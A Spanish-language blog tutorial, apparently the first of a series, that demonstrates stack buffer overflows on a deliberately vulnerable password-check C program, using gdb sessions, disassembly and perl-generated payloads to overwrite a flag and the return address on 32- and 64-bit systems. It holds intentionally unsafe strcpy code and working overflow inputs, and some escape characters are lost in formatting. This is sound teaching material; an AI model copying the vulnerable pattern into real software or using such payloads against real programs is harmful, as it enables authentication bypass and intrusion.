La explotación de programas es un elemento básico del hacking. Un programa está compuesto de un conjunto de reglas complejas siguiendo un flujo de ejecución que dice al ordenador qué hacer. Explotar un programa es una forma inteligente de conseguir que el ordenador haga lo que tú quieras, incluso si dicho programa no se diseñó para hacerlo. - The art of Exploitation, Capítulo 3

El libro Hacking: The Art of Exploitation, es un libro que recomiendo a todo aquel interesado en aprender temas sobre seguridad informática.

Esta va a ser la primera de las 3 o 4 entradas que voy a dedicar a explicar cómo aprovecharse de los buffers overflows en los programas para modificar su comportamiento, e incluso conseguir el control total de la máquina.

Vamos a comenzar con un programa simple extraído del libro, que reciba como parámetro una cadena a modo de contraseña:



Índice

auth_overflow.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int check_authentication(char *password) {
 int auth_flag = 0;
    char password_buffer[16];

   strcpy(password_buffer, password);

  if(strcmp(password_buffer, "brillig") == 0)
       auth_flag = 1;
    if(strcmp(password_buffer, "outgrabe") == 0)
      auth_flag = 1;

  return auth_flag;
}

int main(int argc, char *argv[]) {
    if(argc < 2) {
     printf("Usage: %s n", argv[0]);
       exit(0);
  }
 if(check_authentication(argv[1])) {
       printf("n-=-=-=-=-=-=-=-=-=-=-=-=-=-n");
      printf("      Acceso concedido.n");
       printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-n");
   } else {
      printf("nAcceso denegado.n");
   }
}

No parece que el programa tenga ningún error, admite dos contraseñas (brillig y outgrabe), vamos a probarlo:

hkr-> ./auth_overflow.binary contraseña

Acceso denegado.
hkr-> ./auth_overflow.binary brillig

-=-=-=-=-=-=-=-=-=-=-=-=-=-
      Acceso concedido.
-=-=-=-=-=-=-=-=-=-=-=-=-=-
hkr-> ./auth_overflow.binary AAAAAAAAAAAAAAAAAAAAAAAAAAAAA

-=-=-=-=-=-=-=-=-=-=-=-=-=-
      Acceso concedido.
-=-=-=-=-=-=-=-=-=-=-=-=-=-

¿Qué ha pasado?, vamos a echar un vistazo con gdb:

gdb -q auth_overflow.c.binary
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) b 9
Breakpoint 1 at 0x8048421: file auth_overflow.c, line 9.
(gdb) b 16
Breakpoint 2 at 0x804846f: file auth_overflow.c, line 16.
(gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Starting program: /home/hkr/booksrc/auth_overflow.c.binary
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Breakpoint 1, check_authentication (password=0xbffff9f4 'A' <repeats>)
    at auth_overflow.c:9
9               strcpy(password_buffer, password);
(gdb) x/s password_buffer
0xbffff7d0:      ")����o��b���)205�04b�o������b"
(gdb) x/x &auth;_flag
0xbffff7ec:     0x00000000
(gdb) print 0xbffff7ec - 0xbffff7d0
$1 = 28
(gdb) x/16xw password_buffer
0xbffff7d0:     0xb7f9f729      0xb7fd6ff4      0xbffff808      0x08048529
0xbffff7e0:     0xb7fd6ff4      0xbffff8a0      0xbffff808      0x00000000
0xbffff7f0:     0xb7ff47b0      0x08048510      0xbffff808      0x080484bb
0xbffff800:     0xbffff9f4      0x08048510      0xbffff868      0xb7eafebc
(gdb)

Abrimos el programa con el depurador y ponemos puntos de ruptura en las líneas 9 y 16. Después lo ejecutamos pasándole como argumento una cadena con Aes. Al llegar al primer punto de ruptura examinamos la variable password_buffer, que hasta ahora solo contiene basura. Examinamos la variable auth_flag y vemos que contiene un cero. Luego restamos las direcciones de ambas variables, averiguando así la distancia entre ellas, en este caso auth_flag está 28 bytes despues de password_buffer. Veamos qué podemos hacer con esto:

(gdb) c
Continuing.

Breakpoint 2, check_authentication (password=0xbffff9f4 'A' <repeats>)
    at auth_overflow.c:16
16              return auth_flag;
(gdb) x/s password_buffer
0xbffff7d0:      'A' <repeats>
(gdb) x/x &auth;_flag
0xbffff7ec:     0x41414141
(gdb) x/16xw password_buffer
0xbffff7d0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff7e0:     0x41414141      0x41414141      0x41414141      (0x41414141)
0xbffff7f0:     0x41414141      0x08048500      0xbffff808      0x080484bb
0xbffff800:     0xbffff9f4      0x08048510      0xbffff868      0xb7eafebc
(gdb) x/4cb &auth;_flag
0xbffff7ec:     65 'A'  65 'A'  65 'A'  65 'A'
(gdb) x/dw &auth;_flag
0xbffff7ec:     1094795585

En el siguiente punto de rutpura, volvemos a examinar las variables y se puede apreciar que la variable password_buffer se ha desbordado, ya que tenía capacidad para 16 caracteres, y hemos intentado guardar 36. Si vemos el contenido de auth_flag ya no tiene un cero, si no 0x41414141, lo cual corresponde a cuatro Aes (41 en hexadecimal es el código ASCII de la A). Se puede apreciar claramente cómo se ha desbordado el array en la instrucción x/16xw password_buffer, el valor encerrado entre paréntesis es el de la variable auth_flag, el cual se ha sobrescrito. Por último vemos que el valor en decimal de 0x41414141 es 1094795585.

(gdb) c
Continuing.

-=-=-=-=-=-=-=-=-=-=-=-=-=-
      Acceso concedido.
-=-=-=-=-=-=-=-=-=-=-=-=-=-

Program exited with code 034.

Continuamos con la ejecución y nos da acceso a pesar de que no hemos introducido la contraseña correcta. Esto se debe a que hemos sobrescrito la variable auth_flag y, por lo tanto, la función check_authentication devolverá el valor 0x41414141, 1094795585 en decimal.

Sin embargo, esto ha funcionado ha consecuencia de la colocación de las variables en memoria. ¿Qué pasaría si auth_flag y password_buffer estuvieran declaradas al revés?:

auth_overflow2.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int check_authentication(char *password) {
   char password_buffer[16];
        int auth_flag = 0;

   strcpy(password_buffer, password);

  if(strcmp(password_buffer, "brillig") == 0)
       auth_flag = 1;
    if(strcmp(password_buffer, "outgrabe") == 0)
      auth_flag = 1;

  return auth_flag;
}

int main(int argc, char *argv[]) {
    if(argc < 2) {
     printf("Usage: %s n", argv[0]);
       exit(0);
  }
 if(check_authentication(argv[1])) {
       printf("n-=-=-=-=-=-=-=-=-=-=-=-=-=-n");
      printf("      Acceso concedido.n");
       printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-n");
   } else {
      printf("nAcceso denegado.n");
   }
}

Al estar declaradas en este orden, no podemos modificar la variable auth_flag desbordando el buffer:

gdb -q auth_overflow2.c.binary
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) b 9
Breakpoint 1 at 0x8048421: file auth_overflow2.c, line 9.
(gdb) b 16
Breakpoint 2 at 0x804846f: file auth_overflow2.c, line 16.
(gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Starting program: /home/hkr/booksrc/auth_overflow2.c.binary
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Breakpoint 1, check_authentication (password=0xbffff9f8 'A' <repeats>)
    at auth_overflow2.c:9
9               strcpy(password_buffer, password);
(gdb) x/s password_buffer
0xbffff7e0:
"�o������b����o���G���20205�04bb����204�04b�����20205�04bh��������02"
(gdb) x/x &auth;_flag
0xbffff7dc:     0x00000000
(gdb) x/16xw &auth;_flag
0xbffff7dc:     0x00000000      0xb7fd6ff4      0xbffff8a0      0xbffff808
0xbffff7ec:     0xb7fd6ff4      0xb7ff47b0      0x08048510      0xbffff808
0xbffff7fc:     0x080484bb      0xbffff9f8      0x08048510      0xbffff868
0xbffff80c:     0xb7eafebc      0x00000002      0xbffff894      0xbffff8a0
(gdb) c
Continuing.

Breakpoint 2, check_authentication (password=0xbffff9f8 'A' <repeats>)
    at auth_overflow2.c:16
16              return auth_flag;
(gdb) x/s password_buffer
0xbffff7e0:      'A' <repeats>
(gdb) x/x &auth;_flag
0xbffff7dc:     0x00000000
(gdb) x/16xw &auth;_flag
0xbffff7dc:     (0x00000000)    0x41414141      0x41414141      0x41414141
0xbffff7ec:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff7fc:     0x08004141      0xbffff9f8      0x08048510      0xbffff868
0xbffff80c:     0xb7eafebc      0x00000002      0xbffff894      0xbffff8a0
(gdb)

Seguimos pasos similares a los de antes, con la diferencia de que ahora auth_flag está situada en memoria antes que password_buffer, como podemos comprobar en la salida de x/16xw &auth;_flag.

auth_flag está almacenada en la dirección 0xbffff7dc y su valor está entre paréntesis, password_buffer comienza inmediatamente despues en 0xbffff7e0.

Si terminamos la ejecución del programa nos encontraremos con esto:

(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x08004141 in ?? ()

No hemos sobrescrito auth_flag, en su lugar hemos sobrescrito un punto crítico del programa que obliga a finalizar su ejecución inesperadamente.

Para entender lo que ha pasado es necesaria una breve explicación de cómo se forman los ejecutables. Durante la ejecución de un programa existe una estructura de datos llamada pila (o stack) que se usa para para mantener el flujo de ejecución de un programa y el contexto de las variables locales durante las llamadas a funciones. Cuando se realiza una llamada a una función, una estructura llamada cuadro de pila (stack frame) se introduce en la pila, y el registro EIP (Registro que apunta a la intrucción actual a ejecutar) salta a la primera línea de la función. Cuando ésta acaba, el registro EIP debe volver a apuntar a la siguiente instrucción despues de la llamada a la función, la dirección de dicha instrucción se guarda en el cuadro de pila de la función. En nuestro caso, cuando estamos en la función check_authtentication se guarda la dirección de retorno a la que apuntará EIP cuando finalize y vuelva al main. El error de segmentación que hemos obtenido a sido al sobreescribir dicha dirección de retorono al desbordar el buffer, con lo cual el programa salta a una dirección aleatoria y finaliza ya que se sale de su segmento.

Si echamos un vistazo código ensamblador de la función main podemos averiguar cual es la dirección que debe guardarse en el cuadro de pila de check_authtentication:

(gdb) disass main
Dump of assembler code for function main:
0x08048474 <main>:   push   ebp
0x08048475 <main>:   mov    ebp,esp
0x08048477 <main>:   sub    esp,0x8
0x0804847a <main>:   and    esp,0xfffffff0
0x0804847d <main>:   mov    eax,0x0
0x08048482 <main>:   sub    esp,eax
0x08048484 <main>:   cmp    DWORD PTR [ebp+8],0x1
0x08048488 <main>:   jg     0x80484ab <main>
0x0804848a <main>:   mov    eax,DWORD PTR [ebp+12]
0x0804848d <main>:   mov    eax,DWORD PTR [eax]
0x0804848f <main>:   mov    DWORD PTR [esp+4],eax
0x08048493 <main>:   mov    DWORD PTR [esp],0x80485e5
0x0804849a <main>:   call   0x804831c <printf>
0x0804849f <main>:   mov    DWORD PTR [esp],0x0
0x080484a6 <main>:   call   0x804833c <exit>
0x080484ab <main>:   mov    eax,DWORD PTR [ebp+12]
0x080484ae <main>:   add    eax,0x4
0x080484b1 <main>:   mov    eax,DWORD PTR [eax]
0x080484b3 <main>:   mov    DWORD PTR [esp],eax
0x080484b6 <main>:   call   0x8048414 <check_authentication>
0x080484bb <main>:   test   eax,eax
0x080484bd <main>:   je     0x80484e5 <main>
0x080484bf <main>:   mov    DWORD PTR [esp],0x80485fb
0x080484c6 <main>:   call   0x804831c <printf>
0x080484cb <main>:   mov    DWORD PTR [esp],0x8048619
0x080484d2 <main>:   call   0x804831c <printf>
0x080484d7 <main>:   mov    DWORD PTR [esp],0x8048630
0x080484de <main>:   call   0x804831c <printf>
0x080484e3 <main>:   jmp    0x80484f1 <main>
0x080484e5 <main>:   mov    DWORD PTR [esp],0x804864d
0x080484ec <main>:   call   0x804831c <printf>
0x080484f1 <main>:   leave
0x080484f2 <main>:   ret
End of assembler dump.

0x080484b6 <main>: call 0x8048414 <check_authentication> es la llamada a la función, y está ubicada en 0x080484b6. Antes de hacer la llamada se crea el marco de pila y se guarda la dirección de retorno en la pila, la cual es 0x080484bb.

Volvamos a examinar el programa:

gdb -q auth_overflow2.c.binary
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) b 9
Breakpoint 1 at 0x8048421: file auth_overflow2.c, line 9.
(gdb) b 16
Breakpoint 2 at 0x804846f: file auth_overflow2.c, line 16.
(gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Starting program: /home/hkr/booksrc/auth_overflow2.c.binary
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Breakpoint 1, check_authentication (password=0xbffff9f8 'A' <repeats>)
    at auth_overflow2.c:9
9               strcpy(password_buffer, password);
(gdb) x/s password_buffer
0xbffff7e0:
"�o������b����o���G���20205�04bb����204�04b�����20205�04bh��������02"
(gdb) x/x &auth;_flag
0xbffff7dc:     0x00000000
(gdb) x/16xw &auth;_flag
0xbffff7dc:     0x00000000      0xb7fd6ff4      0xbffff8a0      0xbffff808
0xbffff7ec:     0xb7fd6ff4      0xb7ff47b0      0x08048510      0xbffff808
0xbffff7fc:     0x080484bb      0xbffff9f8      0x08048510      0xbffff868
0xbffff80c:     0xb7eafebc      0x00000002      0xbffff894      0xbffff8a0
(gdb) c
Continuing.

Breakpoint 2, check_authentication (password=0xbffff9f8 'A' <repeats>)
    at auth_overflow2.c:16
16              return auth_flag;
(gdb) x/s password_buffer
0xbffff7e0:      'A' <repeats>
(gdb) x/x &auth;_flag
0xbffff7dc:     0x00000000
(gdb) x/16xw &auth;_flag
0xbffff7dc:     (0x00000000)    0x41414141      0x41414141      0x41414141
0xbffff7ec:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff7fc:     0x08004141      0xbffff9f8      0x08048510      0xbffff868
0xbffff80c:     0xb7eafebc      0x00000002      0xbffff894      0xbffff8a0
(gdb)

Al examinar x/16xw &auth;_flag podemos ver que en 0xbffff7fc está almacenada la dirección de retorno (0x080484bb), la cual sobrescribimos al desbordar el buffer como se vé en la salida de x/16xw &auth;_flag tras ejecutar la instrucción strcpy(password_buffer, password); y almacenar una contraseña demasiado grande en un array demasiado pequeño

(gdb) x/16xw &auth;_flag
0xbffff7dc:     0x00000000      0x41414141      0x41414141      0x41414141
0xbffff7ec:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff7fc:     (0x08004141)    0xbffff9f8      0x08048510      0xbffff868
0xbffff80c:     0xb7eafebc      0x00000002      0xbffff894      0xbffff8a0

Entre paréntesis se observa cómo ha quedado machacada la dirección de retorno, con lo cual EIP intentará ejecutar la instrucción que haya en esa dirección aleatoria, provocando el fallo de segmentación.

¿Cómo podemos conseguir saltarnos la comprobación de la contraseña y que siempre nos de acceso?

Tenemos que sobrescribir la dirección de retorno con una dirección que nos convenga, veamos de nuevo la porción del main en ensamblador que nos interesa:

0x080484b6 <main>: call   0x8048414 <check_authentication>
0x080484bb <main>: test   eax,eax
0x080484bd <main>: je     0x80484e5 <main>
0x080484bf <main>: mov    DWORD PTR [esp],0x80485fb
0x080484c6 <main>: call   0x804831c <printf>
0x080484cb <main>: mov    DWORD PTR [esp],0x8048619
0x080484d2 <main>: call   0x804831c <printf>
0x080484d7 <main>: mov    DWORD PTR [esp],0x8048630
0x080484de <main>: call   0x804831c <printf>
0x080484e3 <main>: jmp    0x80484f1 <main>
0x080484e5 <main>: mov    DWORD PTR [esp],0x804864d
0x080484ec <main>: call   0x804831c <printf>

Esta porción de código corresponde a:

if(check_authentication(argv[1])) {
     printf("n-=-=-=-=-=-=-=-=-=-=-=-=-=-n");
      printf("      Acceso concedido.n");
       printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-n");
   } else {
      printf("nAcceso denegado.n");
   }

Las instrucciones del tipo mov DWORD PTR [esp], 0x…… son los argumentos para la función printf, inmediatamente despues da cada una de estas instrucciones se llama a la función con call 0x804831c <printf>. Las intrucciones que comienzan con una j son saltos condicionales (je = jump if equal), y jmp es incodicional, es decir, sigue la ejecución por la dirección indicada si o sí, sin evaluar ninguna condición. Observando un poco, nos damos cuenta que nos interesa sustituir la dirección de retorno para que se ejecute esta instrucción 0x080484bf <main>: mov DWORD PTR [esp],0x80485fb, que corresponde con el primer printf. Y así saltarnos la comprobación del if.

Para conseguir sustituir la dirección de retorno por la que nos interesa, vamos a desbordar el buffer con el valor de dicha dirección:

gdb -q auth_overflow2.c.binary
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) b 9
Breakpoint 1 at 0x8048421: file auth_overflow2.c, line 9.
(gdb) b 16
Breakpoint 2 at 0x804846f: file auth_overflow2.c, line 16.
(gdb) run $(perl -e 'print "xbfx84x04x08"'x8)
Starting program: /home/hkr/booksrc/auth_overflow2.c.binary $(perl -e
'print "xbfx84x04x08"'x8)

Breakpoint 1, check_authentication (
    password=0xbffff9f6
"�204�04b�204�04b�204�04b�204�04b�204�04b�204�04b�204�04b�204�04b")
at auth_overflow2.c:9
9               strcpy(password_buffer, password);
(gdb) x/16x $esp
0xbffff7c0:     0x00000000      0x08049744      0xbffff7d8      0x080482d9
0xbffff7d0:     0xb7f9f729      0xb7fd6ff4      0xbffff808      0x00000000
0xbffff7e0:     0xb7fd6ff4      0xbffff8a0      0xbffff808      0xb7fd6ff4
0xbffff7f0:     0xb7ff47b0      0x08048510      0xbffff808      (0x080484bb)
(gdb) c
Continuing.

Breakpoint 2, check_authentication (password=0xbffff900
"��������I���i���v���230�������")
    at auth_overflow2.c:16
16              return auth_flag;
(gdb) x/16x $esp
0xbffff7c0:     0xbffff7e0      0x080485dc      0xbffff7d8      0x080482d9
0xbffff7d0:     0xb7f9f729      0xb7fd6ff4      0xbffff808      0x00000000
0xbffff7e0:     0x080484bf      0x080484bf      0x080484bf      0x080484bf
0xbffff7f0:     0x080484bf      0x080484bf      0x080484bf      (0x080484bf)
(gdb) c
Continuing.

-=-=-=-=-=-=-=-=-=-=-=-=-=-
      Access Granted.
-=-=-=-=-=-=-=-=-=-=-=-=-=-

Program received signal SIGSEGV, Segmentation fault.
0xe8080485 in ?? ()

Experimentando un poco con gdb se descubre que repetir la dirección 8 veces es suficiente para sobrescribir la dirección de retorno original. El comando $(perl -e ‘print “xbfx84x04x08″‘x8) repite la dirección 8 veces, el motivo por el que hay que escribir la dirección al revés es porque internamente se almacenan las direcciones en little endian. En los resultados de arriba se puede ver cómo se sutituye la dirección de retorno 0x080484bb(entre paréntesis), por la deseada, 0x080484bf.

En arquitecturas x86_64

Si tenemos un procesador de 64-bits, el proceso es similar, aunque con gdb debemos usar la opción g junto al comando examine para que se muestren las direcciones enteras:

(gdb) b 9
Breakpoint 1 at 0x40064f: file auth_overflow2.c, line 9.
(gdb) b 16
Breakpoint 2 at 0x40069a: file auth_overflow2.c, line 16.
(gdb) run $(perl -e 'print "xeex06x40x00x00x00x00x00"x10')
Starting program: /home/hkr/hack/auth_overflow2.c.binary $(perl -e 'print "xeex06x40x00x00x00x00x00"x10')

Breakpoint 1, check_authentication (password=0x7fffffffe74b "356�06@356�06@356�06@356�06@356�06@356�06@356�06@356�06@356�06@356�06@") at auth_overflow2.c:9
9     strcpy(password_buffer, password);
(gdb) x/10xg $rsp
0x7fffffffe380: 0x00007fffffffe3bf  0x00007fffffffe74b
0x7fffffffe390: 0x0000000000000001  0x000000000040078d
0x7fffffffe3a0: 0x00007ffff7a65c48  0x0000000000400730
0x7fffffffe3b0: 0x00007fffffffe3d0  (0x00000000004006ea)
0x7fffffffe3c0: 0x00007fffffffe4b8  0x0000000200000000
(gdb)

En 32-bits el puntero de pila se llamaba ESP, en 64-bit es RSP. En este caso la dirección de retorno es 0x00000000004006ea. Desensamblando la función main como anteriormente,vemos que la dirección de retorno que nos interesa es 0x00000000004006ee, igual que antes, usamos perl — $(perl -e ‘print “xeex06x40x00x00x00x00x00″x10′) — sobrescribiendo la dirección por la que nos interesa, quedando así:

(gdb) c
Continuing.

Breakpoint 2, check_authentication (password=0x7fffffffe74b "356�06@356�06@356�06@356�06@356�06@356�06@356�06@356�06@356�06@356�06@") at auth_overflow2.c:16
16        return auth_flag;
(gdb) x/10xg $rsp
0x7fffffffe380: 0x00007fffffffe3bf  0x00007fffffffe74b
0x7fffffffe390: 0x06ee4006ee4006ee  0xee4006ee4006ee40
0x7fffffffe3a0: 0x4006ee4006ee4006  0x00004006ee4006ee
0x7fffffffe3b0: 0x00007fffffffe3d0  (0x00000000004006ea)
0x7fffffffe3c0:  0x00007fffffffe4b8  0x0000000200000000

Aunque parece que no hemos sobreescrito la dirección de retorno, sí que lo hemos hecho, pero no se han escrito los ceros por la izquierda, quedando todo desplazado:

(gdb) c
Continuing.

Breakpoint 2, check_authentication (password=0x7fffffffe74b "356�06@356�06@356�06@356�06@356�06@356�06@356�06@356�06@356�06@356�06@") at auth_overflow2.c:16
16        return auth_flag;
(gdb) c
Continuing.

-=-=-=-=-=-=-=-=-=-=-=-=-=-
      Access Granted.
-=-=-=-=-=-=-=-=-=-=-=-=-=-
[Inferior 1 (process 3699) exited with code 034]

Para comprobar que sí que se sobreescribe, vamos a introducir una dirección sin ceros:

(gdb) run $(perl -e 'print "xaaxaaxaaxaaxaaxaaxaaxaa"x10')
Breakpoint 2, check_authentication (
    password=0x7fffffffe719 "252252252252252252252252252252252252252252252252252252252252252252252252252252252252252252252252252252252252252252252252252252252252252252252252252252252252252252252252252252252252252252252252252252252252252252252252252252252252252252252252")
    at auth_overflow2.c:16
16     return auth_flag;
(gdb) x/10xg $rsp
0x7fffffffe380: 0x00007fffffffe38f  0x00007fffffffe719
0x7fffffffe390: 0xaaaaaaaaaaaaaaaa  0xaaaaaaaaaaaaaaaa
0x7fffffffe3a0: 0xaaaaaaaaaaaaaaaa  0xaaaaaaaaaaaaaaaa
0x7fffffffe3b0: 0xaaaaaaaaaaaaaaaa  (0xaaaaaaaaaaaaaaaa)
0x7fffffffe3c0: 0xaaaaaaaaaaaaaaaa  0xaaaaaaaaaaaaaaaa

En estos casos no nos es muy útil el buffer overflow, ya que solo podemos saltar a porciones del código existente, en entradas posteriores, veremos cómo conseguir una shell root.

Espero que os haya gustado.